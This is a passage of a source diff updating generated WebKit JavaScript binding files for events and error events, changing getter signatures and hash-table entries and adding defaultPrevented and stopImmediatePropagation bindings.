     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSEntityReferencePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -65,7 +65,7 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsEntityReferenceConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEntityReferenceConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSErrorEvent.cpp b/src/3rdparty/webkit/WebCore/generated/JSErrorEvent.cpp
index ef9a080..3d73ee8 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSErrorEvent.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSErrorEvent.cpp
@@ -41,10 +41,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSErrorEvent);
 
 static const HashTableValue JSErrorEventTableValues[5] =
 {
-    { "message", DontDelete|ReadOnly, (intptr_t)jsErrorEventMessage, (intptr_t)0 },
-    { "filename", DontDelete|ReadOnly, (intptr_t)jsErrorEventFilename, (intptr_t)0 },
-    { "lineno", DontDelete|ReadOnly, (intptr_t)jsErrorEventLineno, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsErrorEventConstructor, (intptr_t)0 },
+    { "message", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsErrorEventMessage), (intptr_t)0 },
+    { "filename", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsErrorEventFilename), (intptr_t)0 },
+    { "lineno", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsErrorEventLineno), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsErrorEventConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -83,7 +83,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -106,7 +106,7 @@ bool JSErrorEventConstructor::getOwnPropertyDescriptor(ExecState* exec, const Id
 
 static const HashTableValue JSErrorEventPrototypeTableValues[2] =
 {
-    { "initErrorEvent", DontDelete|Function, (intptr_t)jsErrorEventPrototypeFunctionInitErrorEvent, (intptr_t)6 },
+    { "initErrorEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsErrorEventPrototypeFunctionInitErrorEvent), (intptr_t)6 },
     { 0, 0, 0, 0 }
 };
 
@@ -164,33 +164,36 @@ bool JSErrorEvent::getOwnPropertyDescriptor(ExecState* exec, const Identifier& p
     return getStaticValueDescriptor<JSErrorEvent, Base>(exec, getJSErrorEventTable(exec), this, propertyName, descriptor);
 }
 
-JSValue jsErrorEventMessage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsErrorEventMessage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSErrorEvent* castedThis = static_cast<JSErrorEvent*>(asObject(slot.slotBase()));
+    JSErrorEvent* castedThis = static_cast<JSErrorEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ErrorEvent* imp = static_cast<ErrorEvent*>(castedThis->impl());
-    return jsString(exec, imp->message());
+    JSValue result = jsString(exec, imp->message());
+    return result;
 }
 
-JSValue jsErrorEventFilename(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsErrorEventFilename(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSErrorEvent* castedThis = static_cast<JSErrorEvent*>(asObject(slot.slotBase()));
+    JSErrorEvent* castedThis = static_cast<JSErrorEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ErrorEvent* imp = static_cast<ErrorEvent*>(castedThis->impl());
-    return jsString(exec, imp->filename());
+    JSValue result = jsString(exec, imp->filename());
+    return result;
 }
 
-JSValue jsErrorEventLineno(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsErrorEventLineno(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSErrorEvent* castedThis = static_cast<JSErrorEvent*>(asObject(slot.slotBase()));
+    JSErrorEvent* castedThis = static_cast<JSErrorEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     ErrorEvent* imp = static_cast<ErrorEvent*>(castedThis->impl());
-    return jsNumber(exec, imp->lineno());
+    JSValue result = jsNumber(exec, imp->lineno());
+    return result;
 }
 
-JSValue jsErrorEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsErrorEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSErrorEvent* domObject = static_cast<JSErrorEvent*>(asObject(slot.slotBase()));
+    JSErrorEvent* domObject = static_cast<JSErrorEvent*>(asObject(slotBase));
     return JSErrorEvent::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSErrorEvent::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSErrorEvent.h b/src/3rdparty/webkit/WebCore/generated/JSErrorEvent.h
index 080b573..546957f 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSErrorEvent.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSErrorEvent.h
@@ -41,7 +41,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -60,7 +60,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSErrorEventPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -72,10 +72,10 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsErrorEventPrototypeFunctionInitErrorEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsErrorEventMessage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsErrorEventFilename(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsErrorEventLineno(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsErrorEventConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsErrorEventMessage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsErrorEventFilename(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsErrorEventLineno(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsErrorEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEvent.cpp b/src/3rdparty/webkit/WebCore/generated/JSEvent.cpp
index 67eefd0..e5618ad 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEvent.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSEvent.cpp
@@ -38,20 +38,21 @@ ASSERT_CLASS_FITS_IN_CELL(JSEvent);
 
 /* Hash table */
 
-static const HashTableValue JSEventTableValues[13] =
-{
-    { "type", DontDelete|ReadOnly, (intptr_t)jsEventType, (intptr_t)0 },
-    { "target", DontDelete|ReadOnly, (intptr_t)jsEventTarget, (intptr_t)0 },
-    { "currentTarget", DontDelete|ReadOnly, (intptr_t)jsEventCurrentTarget, (intptr_t)0 },
-    { "eventPhase", DontDelete|ReadOnly, (intptr_t)jsEventEventPhase, (intptr_t)0 },
-    { "bubbles", DontDelete|ReadOnly, (intptr_t)jsEventBubbles, (intptr_t)0 },
-    { "cancelable", DontDelete|ReadOnly, (intptr_t)jsEventCancelable, (intptr_t)0 },
-    { "timeStamp", DontDelete|ReadOnly, (intptr_t)jsEventTimeStamp, (intptr_t)0 },
-    { "srcElement", DontDelete|ReadOnly, (intptr_t)jsEventSrcElement, (intptr_t)0 },
-    { "returnValue", DontDelete, (intptr_t)jsEventReturnValue, (intptr_t)setJSEventReturnValue },
-    { "cancelBubble", DontDelete, (intptr_t)jsEventCancelBubble, (intptr_t)setJSEventCancelBubble },
-    { "clipboardData", DontDelete|ReadOnly, (intptr_t)jsEventClipboardData, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsEventConstructor, (intptr_t)0 },
+static const HashTableValue JSEventTableValues[14] =
+{
+    { "type", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventType), (intptr_t)0 },
+    { "target", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventTarget), (intptr_t)0 },
+    { "currentTarget", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCurrentTarget), (intptr_t)0 },
+    { "eventPhase", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventEventPhase), (intptr_t)0 },
+    { "bubbles", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventBubbles), (intptr_t)0 },
+    { "cancelable", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCancelable), (intptr_t)0 },
+    { "timeStamp", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventTimeStamp), (intptr_t)0 },
+    { "defaultPrevented", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventDefaultPrevented), (intptr_t)0 },
+    { "srcElement", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSrcElement), (intptr_t)0 },
+    { "returnValue", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventReturnValue), (intptr_t)setJSEventReturnValue },
+    { "cancelBubble", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCancelBubble), (intptr_t)setJSEventCancelBubble },
+    { "clipboardData", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventClipboardData), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -66,25 +67,25 @@ static JSC_CONST_HASHTABLE HashTable JSEventTable =
 
 static const HashTableValue JSEventConstructorTableValues[20] =
 {
-    { "CAPTURING_PHASE", DontDelete|ReadOnly, (intptr_t)jsEventCAPTURING_PHASE, (intptr_t)0 },
-    { "AT_TARGET", DontDelete|ReadOnly, (intptr_t)jsEventAT_TARGET, (intptr_t)0 },
-    { "BUBBLING_PHASE", DontDelete|ReadOnly, (intptr_t)jsEventBUBBLING_PHASE, (intptr_t)0 },
-    { "MOUSEDOWN", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEDOWN, (intptr_t)0 },
-    { "MOUSEUP", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEUP, (intptr_t)0 },
-    { "MOUSEOVER", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEOVER, (intptr_t)0 },
-    { "MOUSEOUT", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEOUT, (intptr_t)0 },
-    { "MOUSEMOVE", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEMOVE, (intptr_t)0 },
-    { "MOUSEDRAG", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEDRAG, (intptr_t)0 },
-    { "CLICK", DontDelete|ReadOnly, (intptr_t)jsEventCLICK, (intptr_t)0 },
-    { "DBLCLICK", DontDelete|ReadOnly, (intptr_t)jsEventDBLCLICK, (intptr_t)0 },
-    { "KEYDOWN", DontDelete|ReadOnly, (intptr_t)jsEventKEYDOWN, (intptr_t)0 },
-    { "KEYUP", DontDelete|ReadOnly, (intptr_t)jsEventKEYUP, (intptr_t)0 },
-    { "KEYPRESS", DontDelete|ReadOnly, (intptr_t)jsEventKEYPRESS, (intptr_t)0 },
-    { "DRAGDROP", DontDelete|ReadOnly, (intptr_t)jsEventDRAGDROP, (intptr_t)0 },
-    { "FOCUS", DontDelete|ReadOnly, (intptr_t)jsEventFOCUS, (intptr_t)0 },
-    { "BLUR", DontDelete|ReadOnly, (intptr_t)jsEventBLUR, (intptr_t)0 },
-    { "SELECT", DontDelete|ReadOnly, (intptr_t)jsEventSELECT, (intptr_t)0 },
-    { "CHANGE", DontDelete|ReadOnly, (intptr_t)jsEventCHANGE, (intptr_t)0 },
+    { "CAPTURING_PHASE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCAPTURING_PHASE), (intptr_t)0 },
+    { "AT_TARGET", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventAT_TARGET), (intptr_t)0 },
+    { "BUBBLING_PHASE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventBUBBLING_PHASE), (intptr_t)0 },
+    { "MOUSEDOWN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEDOWN), (intptr_t)0 },
+    { "MOUSEUP", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEUP), (intptr_t)0 },
+    { "MOUSEOVER", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEOVER), (intptr_t)0 },
+    { "MOUSEOUT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEOUT), (intptr_t)0 },
+    { "MOUSEMOVE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEMOVE), (intptr_t)0 },
+    { "MOUSEDRAG", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEDRAG), (intptr_t)0 },
+    { "CLICK", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCLICK), (intptr_t)0 },
+    { "DBLCLICK", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventDBLCLICK), (intptr_t)0 },
+    { "KEYDOWN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventKEYDOWN), (intptr_t)0 },
+    { "KEYUP", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventKEYUP), (intptr_t)0 },
+    { "KEYPRESS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventKEYPRESS), (intptr_t)0 },
+    { "DRAGDROP", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventDRAGDROP), (intptr_t)0 },
+    { "FOCUS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventFOCUS), (intptr_t)0 },
+    { "BLUR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventBLUR), (intptr_t)0 },
+    { "SELECT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSELECT), (intptr_t)0 },
+    { "CHANGE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCHANGE), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -109,7 +110,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -130,30 +131,31 @@ bool JSEventConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identif
 
 /* Hash table for prototype */
 
-static const HashTableValue JSEventPrototypeTableValues[23] =
-{
-    { "CAPTURING_PHASE", DontDelete|ReadOnly, (intptr_t)jsEventCAPTURING_PHASE, (intptr_t)0 },
-    { "AT_TARGET", DontDelete|ReadOnly, (intptr_t)jsEventAT_TARGET, (intptr_t)0 },
-    { "BUBBLING_PHASE", DontDelete|ReadOnly, (intptr_t)jsEventBUBBLING_PHASE, (intptr_t)0 },
-    { "MOUSEDOWN", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEDOWN, (intptr_t)0 },
-    { "MOUSEUP", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEUP, (intptr_t)0 },
-    { "MOUSEOVER", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEOVER, (intptr_t)0 },
-    { "MOUSEOUT", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEOUT, (intptr_t)0 },
-    { "MOUSEMOVE", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEMOVE, (intptr_t)0 },
-    { "MOUSEDRAG", DontDelete|ReadOnly, (intptr_t)jsEventMOUSEDRAG, (intptr_t)0 },
-    { "CLICK", DontDelete|ReadOnly, (intptr_t)jsEventCLICK, (intptr_t)0 },
-    { "DBLCLICK", DontDelete|ReadOnly, (intptr_t)jsEventDBLCLICK, (intptr_t)0 },
-    { "KEYDOWN", DontDelete|ReadOnly, (intptr_t)jsEventKEYDOWN, (intptr_t)0 },
-    { "KEYUP", DontDelete|ReadOnly, (intptr_t)jsEventKEYUP, (intptr_t)0 },
-    { "KEYPRESS", DontDelete|ReadOnly, (intptr_t)jsEventKEYPRESS, (intptr_t)0 },
-    { "DRAGDROP", DontDelete|ReadOnly, (intptr_t)jsEventDRAGDROP, (intptr_t)0 },
-    { "FOCUS", DontDelete|ReadOnly, (intptr_t)jsEventFOCUS, (intptr_t)0 },
-    { "BLUR", DontDelete|ReadOnly, (intptr_t)jsEventBLUR, (intptr_t)0 },
-    { "SELECT", DontDelete|ReadOnly, (intptr_t)jsEventSELECT, (intptr_t)0 },
-    { "CHANGE", DontDelete|ReadOnly, (intptr_t)jsEventCHANGE, (intptr_t)0 },
-    { "stopPropagation", DontDelete|Function, (intptr_t)jsEventPrototypeFunctionStopPropagation, (intptr_t)0 },
-    { "preventDefault", DontDelete|Function, (intptr_t)jsEventPrototypeFunctionPreventDefault, (intptr_t)0 },
-    { "initEvent", DontDelete|Function, (intptr_t)jsEventPrototypeFunctionInitEvent, (intptr_t)3 },
+static const HashTableValue JSEventPrototypeTableValues[24] =
+{
+    { "CAPTURING_PHASE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCAPTURING_PHASE), (intptr_t)0 },
+    { "AT_TARGET", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventAT_TARGET), (intptr_t)0 },
+    { "BUBBLING_PHASE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventBUBBLING_PHASE), (intptr_t)0 },
+    { "MOUSEDOWN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEDOWN), (intptr_t)0 },
+    { "MOUSEUP", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEUP), (intptr_t)0 },
+    { "MOUSEOVER", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEOVER), (intptr_t)0 },
+    { "MOUSEOUT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEOUT), (intptr_t)0 },
+    { "MOUSEMOVE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEMOVE), (intptr_t)0 },
+    { "MOUSEDRAG", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventMOUSEDRAG), (intptr_t)0 },
+    { "CLICK", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCLICK), (intptr_t)0 },
+    { "DBLCLICK", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventDBLCLICK), (intptr_t)0 },
+    { "KEYDOWN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventKEYDOWN), (intptr_t)0 },
+    { "KEYUP", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventKEYUP), (intptr_t)0 },
+    { "KEYPRESS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventKEYPRESS), (intptr_t)0 },
+    { "DRAGDROP", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventDRAGDROP), (intptr_t)0 },
+    { "FOCUS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventFOCUS), (intptr_t)0 },
+    { "BLUR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventBLUR), (intptr_t)0 },
+    { "SELECT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventSELECT), (intptr_t)0 },
+    { "CHANGE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEventCHANGE), (intptr_t)0 },
+    { "stopPropagation", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsEventPrototypeFunctionStopPropagation), (intptr_t)0 },
+    { "preventDefault", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsEventPrototypeFunctionPreventDefault), (intptr_t)0 },
+    { "initEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsEventPrototypeFunctionInitEvent), (intptr_t)3 },
+    { "stopImmediatePropagation", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsEventPrototypeFunctionStopImmediatePropagation), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -161,7 +163,7 @@ static JSC_CONST_HASHTABLE HashTable JSEventPrototypeTable =
 #if ENABLE(PERFECT_HASH_SIZE)
     { 8191, JSEventPrototypeTableValues, 0 };
 #else
-    { 68, 63, JSEventPrototypeTableValues, 0 };
+    { 69, 63, JSEventPrototypeTableValues, 0 };
 #endif
 
 static const HashTable* getJSEventPrototypeTable(ExecState* exec)
@@ -217,95 +219,114 @@ bool JSEvent::getOwnPropertyDescriptor(ExecState* exec, const Identifier& proper
     return getStaticValueDescriptor<JSEvent, Base>(exec, getJSEventTable(exec), this, propertyName, descriptor);
 }
 
-JSValue jsEventType(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventType(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return jsString(exec, imp->type());
+    JSValue result = jsString(exec, imp->type());
+    return result;
 }
 
-JSValue jsEventTarget(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventTarget(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->target()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->target()));
+    return result;
 }
 
-JSValue jsEventCurrentTarget(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventCurrentTarget(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->currentTarget()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->currentTarget()));
+    return result;
 }
 
-JSValue jsEventEventPhase(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventEventPhase(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return jsNumber(exec, imp->eventPhase());
+    JSValue result = jsNumber(exec, imp->eventPhase());
+    return result;
 }
 
-JSValue jsEventBubbles(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventBubbles(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return jsBoolean(imp->bubbles());
+    JSValue result = jsBoolean(imp->bubbles());
+    return result;
 }
 
-JSValue jsEventCancelable(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventCancelable(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return jsBoolean(imp->cancelable());
+    JSValue result = jsBoolean(imp->cancelable());
+    return result;
 }
 
-JSValue jsEventTimeStamp(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventTimeStamp(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return jsNumber(exec, imp->timeStamp());
+    JSValue result = jsNumber(exec, imp->timeStamp());
+    return result;
 }
 
-JSValue jsEventSrcElement(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventDefaultPrevented(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->srcElement()));
+    JSValue result = jsBoolean(imp->defaultPrevented());
+    return result;
 }
 
-JSValue jsEventReturnValue(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventSrcElement(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return jsBoolean(imp->returnValue());
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->srcElement()));
+    return result;
 }
 
-JSValue jsEventCancelBubble(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventReturnValue(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Event* imp = static_cast<Event*>(castedThis->impl());
-    return jsBoolean(imp->cancelBubble());
+    JSValue result = jsBoolean(imp->returnValue());
+    return result;
 }
 
-JSValue jsEventClipboardData(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventCancelBubble(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slot.slotBase()));
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Event* imp = static_cast<Event*>(castedThis->impl());
+    JSValue result = jsBoolean(imp->cancelBubble());
+    return result;
+}
+
+JSValue jsEventClipboardData(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSEvent* castedThis = static_cast<JSEvent*>(asObject(slotBase));
     return castedThis->clipboardData(exec);
 }
 
-JSValue jsEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
